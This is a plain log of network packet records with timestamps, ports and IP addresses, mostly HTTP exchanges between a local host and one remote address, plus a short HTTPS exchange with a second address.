Dec 18, 2024 11:09:30.672873020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.672913074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.673760891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.673809052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.673858881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.673899889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.674755096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.674791098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.675050974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.675102949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.675725937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.675838947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.675838947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.675890923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.676731110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.676773071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.676848888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.676904917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.678698063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.678709984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.678720951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.678760052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.678843021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.679924965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.679943085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.679949045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.679975033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.679996967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.681544065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.681556940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.681601048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.682626009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.682636976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.682646990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.682972908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.683738947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.683752060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.683767080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.683789015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.683911085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.685543060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.685554028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.685605049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.798105001 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:30.798177004 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:30.799385071 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:30.799396038 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:30.799627066 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:30.800996065 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:30.801023960 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:30.801068068 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:30.820907116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.820993900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.821151972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.821369886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.821475029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.821525097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.821583986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.821688890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.822386980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.822611094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.822902918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.822957039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.823360920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.823499918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.823525906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.823843002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.824366093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.824443102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.824484110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.824484110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.825443983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.825457096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.825510979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.826291084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.826375961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.826384068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.826477051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.827246904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.827342033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.827370882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.827542067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.828248024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.828346968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.828375101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.828547001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.829632998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.829658031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.829863071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.830261946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.830321074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.830358028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.830358028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.831372976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.831384897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.831501007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.832341909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.832355976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.832402945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.833226919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.833308935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.838660002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.838671923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.838684082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.838742971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.838742971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.838831902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.838922024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.840034962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.840046883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.840091944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.840614080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.840749025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.840818882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.841574907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.841653109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.841778994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.842237949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.842683077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.842746973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.842780113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.842780113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.843588114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.843641043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.843676090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.843822002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.844620943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.844633102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.844680071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.844680071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.845679045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.845690966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.845735073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.846591949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.846604109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.846661091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.847518921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.847593069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.847630024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.847759008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.848455906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.848588943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.848607063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.848680019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.849595070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.849765062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.849790096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.849891901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.850414038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.850670099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.850692987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.850811005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.851584911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.851597071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.851638079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.852514029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.852559090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.852713108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.852886915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.853359938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.853414059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.853529930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.853662968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.854329109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.854460955 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.854505062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.854615927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.855370998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.855389118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.855431080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.855431080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.856307983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.856389046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.857042074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.857112885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.857273102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.857346058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.857525110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.857614994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.858294010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.858370066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.858392954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.858746052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.859277964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.859337091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.859360933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.859606028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.860287905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.860454082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.860490084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.860564947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.861392021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.861403942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.861450911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.861450911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.862284899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.862405062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.862514019 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.862739086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.863193989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.863325119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.863353014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.863421917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.864209890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.864253998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.864274025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.864562988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.865137100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.865212917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.865386009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.865433931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.866214991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.866369963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.866393089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.866578102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.867382050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.867393970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.867743015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.868269920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.868282080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.868628025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.869146109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.869158030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.869479895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.870162964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.870174885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.870429039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.871248007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.871259928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.871305943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.871305943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.872108936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.872452021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.872476101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.872589111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.873095036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.873320103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.873428106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.873523951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.874075890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.874088049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.874243021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.875145912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.875159025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.875210047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.876113892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.876234055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.876398087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.012684107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.012697935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.012711048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.012773991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.012773991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.013612032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.013628960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.013641119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.013703108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.013703108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.015512943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.015527010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.016513109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.016526937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.016539097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.016573906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.016573906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.016653061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.017184973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.017709970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.017723083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.017761946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.017817974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.018712997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.019362926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.019397020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.019397020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.020514965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.020525932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.020536900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.020556927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.020572901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.021565914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.021576881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.021589041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.021606922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.021833897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.023469925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.023482084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.023495913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.023545980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.023545980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.024736881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.024750948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.024801016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.029923916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.029936075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.029947996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.030035019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.030035019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.030915022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.030930042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.031120062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.031352043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.031394958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.032058001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.032071114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.032110929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.033811092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.033826113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.033879042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.033940077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.034123898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.034250021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.035352945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.035365105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.035535097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.036659002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.036670923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.036773920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.037442923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.037453890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.037573099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.037982941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.037995100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.038034916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.038788080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.039383888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.039486885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.039885044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.039897919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.039973021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.041119099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.041130066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.041189909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.041189909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.042074919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.042087078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.042244911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.043168068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.043179989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.043301105 CET	49912	80	192.168.2.6	31.41.244.11
